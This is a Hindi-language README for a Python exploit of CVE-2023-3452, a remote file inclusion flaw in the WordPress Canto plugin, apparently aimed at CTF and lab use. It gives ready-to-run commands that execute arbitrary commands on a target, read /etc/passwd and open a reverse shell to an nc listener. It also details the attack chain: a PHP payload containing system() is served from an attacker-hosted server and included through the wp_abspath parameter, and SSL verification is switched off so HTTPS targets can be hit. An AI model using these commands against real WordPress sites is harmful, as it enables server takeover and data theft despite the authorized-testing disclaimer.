CVE-2023-3452 - वर्डप्रेस कैंटो प्लगइन आरसीई

वर्डप्रेस कैंटो प्लगइन (≤ 3.0.4) RFI कमजोरी के लिए शोषण। वास्तव में HTTPS पर काम करता है — अन्य सार्वजनिक PoCs ने SSL पर हार मान ली थी।

जहां श्रेय देना उचित है: यह CVE दूसरों द्वारा पाया गया। मैंने सिर्फ एक संस्करण बनाया जो HTTPS लक्ष्यों पर काम करता है।

कमजोरी

यह क्यों?

इस CVE के अधिकांश शोषण HTTPS पर SSL सत्यापन के कारण विफल हो जाते हैं। यह स्क्रिप्ट:

• HTTPS लक्ष्यों पर काम करने के लिए verify=False का उपयोग करता है
• urllib3 चेतावनी स्पैम को दबाता है
• HTTP और HTTPS दोनों पर समान रूप से चलता है — अलग कॉन्फ़िगरेशन की आवश्यकता नहीं

आवश्यकताएँ

• Python 3.6+
• requests

स्थापना

pip install -r requirements.txt

या बस: pip install requests

उपयोग

python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]

तर्क

* कोई आदेश नहीं = स्वस्थता जांच के रूप में id; whoami; hostname चलाता है

उदाहरण

एकल आदेश:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"

फ़ाइल पढ़ना:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"

रिवर्स शेल (पहले nc -lvnp 4444 चलाएँ):

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444

इंटरैक्टिव मोड:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i

HTTPS CTF लक्ष्य:

python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"

यह कैसे काम करता है

1. जांच — /wp-content/plugins/canto/readme.txt पर हिट करता है, संस्करण पार्स करता है (≤ 3.0.4 = कमजोर)
2. पेलोड — एक नकली wp-admin/admin.php लिखता है जो system() के माध्यम से आपका आदेश चलाता है
3. सर्वर — एक स्थानीय HTTP सर्वर शुरू करता है ताकि लक्ष्य हमारी फ़ाइल प्राप्त कर सके
4. ट्रिगर — download.php को wp_abspath=http://LHOST:LPORT के साथ अनुरोध करता है ताकि यह हमारे रिमोट PHP को शामिल करे
5. निष्पादन — उनका सर्वर हमारा कोड चलाता है, हमें आउटपुट वापस मिलता है

नेटवर्क नोट्स

• लक्ष्य को LHOST:LPORT पर आपकी मशीन तक पहुंचने में सक्षम होना चाहिए (HTB/लैब के लिए, यह आपका VPN IP है)
• फ़ायरवॉल को पेलोड पोर्ट (-p) पर इनबाउंड की अनुमति देनी होगी

अस्वीकरण

केवल अधिकृत परीक्षण और शिक्षा। केवल उन सिस्टम को छुएं जिनकी आपको अनुमति है। बाकी सब कुछ अवैध है।

लाइसेंस

MIT